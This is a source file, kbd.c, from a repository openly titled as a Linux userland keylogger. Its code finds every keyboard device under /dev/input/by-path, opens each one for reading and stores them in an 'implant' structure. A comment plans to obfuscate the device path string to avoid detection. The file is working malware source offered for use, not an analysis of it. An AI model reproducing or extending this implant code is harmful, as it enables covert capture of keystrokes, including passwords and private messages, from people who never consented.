mazepa~ linux userland keylogger |
| git clone https://github.com/djnnvx/mazepa.git |
| log | files | refs | archive | README |
kbd.c (3455B)
1 /** 2 * keyboard handling & locale support 3 * 4 * input devices usually live in /dev/input/ 5 * 6 * you can identify the in the by-path subdirectory, which maps each 7 * device name to a symlink 8 * 9 * here, we will return set an array of file-descriptor for each available 10 * keyboard on the machine, it should be appended with a -1 that should serve 11 * as a NULL value 12 */ 13 14 #include "implant.h" 15 16 #include <dirent.h> 17 #include <fcntl.h> 18 #include <limits.h> 19 #include <stddef.h> 20 #include <stdint.h> 21 #include <stdio.h> 22 #include <stdlib.h> 23 #include <string.h> 24 #include <strings.h> 25 #include <sys/dir.h> 26 #include <sys/queue.h> 27 #include <sys/stat.h> 28 #include <sys/types.h> 29 #include <unistd.h> 30 31 static int 32 is_kbd(const struct dirent *f) { 33 size_t len = 0; 34 35 if (NULL == f) 36 return 0; 37 38 len = strlen(f->d_name); 39 if (len < 4) 40 return 0; 41 42 return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && 43 f->d_name[len - 1] == 'd'; 44 } 45 46 uint8_t fetch_available_keyboards(implant_t *instance) { 47 48 char rpath[PATH_MAX] = {0}; 49 struct dirent **char_devices = NULL; 50 int possible_paths = 0; 51 52 /* FIXME(djnn): base64 then decrypt string at runtime */ 53 const char *dev_input_by_path = "/dev/input/by-path/"; 54 55 if (!instance) { 56 #ifdef DEBUG 57 DEBUG_LOG("[!] NULL ptr for instance struct\n"); 58 #endif 59 return ERROR; 60 } 61 62 possible_paths = scandir(dev_input_by_path, &char_devices, &is_kbd, &alphasort); 63 if (-1 == possible_paths) { 64 #ifdef DEBUG 65 DEBUG_LOG("could not find possible keyboard paths\n"); 66 #endif 67 return ERROR; 68 } 69 70 if (0 > chdir(dev_input_by_path)) { 71 #ifdef DEBUG 72 DEBUG_LOG("could not chdir to %s\n", dev_input_by_path); 73 #endif 74 for (int i = 0; i < possible_paths; i++) 75 free(char_devices[i]); 76 free(char_devices); 77 return ERROR; 78 } 79 80 /* prepare TAILQ */ 81 TAILQ_INIT(&instance->kbd); 82 for (int ctr = -1; ++ctr < possible_paths;) { 83 if (!realpath(char_devices[ctr]->d_name, rpath)) { 84 85 #ifdef DEBUG 86 DEBUG_LOG("[!] Could not run realpath(%s): %s\n", char_devices[ctr]->d_name, strerror(errno)); 87 #endif 88 89 continue; 90 } 91 92 keyboard_t *kbd = malloc(sizeof(keyboard_t)); 93 if (!kbd) { 94 95 #ifdef DEBUG 96 DEBUG_LOG("[!] allocate memory for keyboard_t\n"); 97 #endif 98 99 continue; 100 } 101 102 kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY); 103 if (kbd->fd < 0) { 104 105 #ifdef DEBUG 106 DEBUG_LOG("[!] Could not open %s: %s\n", rpath, strerror(errno)); 107 #endif 108 109 free(kbd); 110 continue; 111 } 112 113 bzero(kbd->name, STRING_BUFFER_SIZE); 114 if (!strncpy((char *)kbd->name, rpath, (STRING_BUFFER_SIZE - 1))) { 115 116 #ifdef DEBUG 117 DEBUG_LOG("[!] strncpy: kbd->name could not be copied\n"); 118 #endif 119 120 close(kbd->fd); 121 free(kbd); 122 continue; 123 } 124 TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices); 125 126 #ifdef DEBUG 127 DEBUG_LOG("[+] Keyboard found: %s (fd=%d)\n", kbd->name, kbd->fd); 128 #endif 129 } 130 131 #ifdef DEBUG 132 int kbd_count = 0; 133 keyboard_t *k; 134 TAILQ_FOREACH(k, &instance->kbd, devices) { kbd_count++; } 135 DEBUG_LOG("[*] Total keyboards detected: %d\n", kbd_count); 136 #endif 137 138 for (int i = 0; i < possible_paths; i++) { 139 free(char_devices[i]); 140 } 141 free(char_devices); 142 143 return TAILQ_EMPTY(&instance->kbd) ? ERROR : SUCCESSFUL; 144 }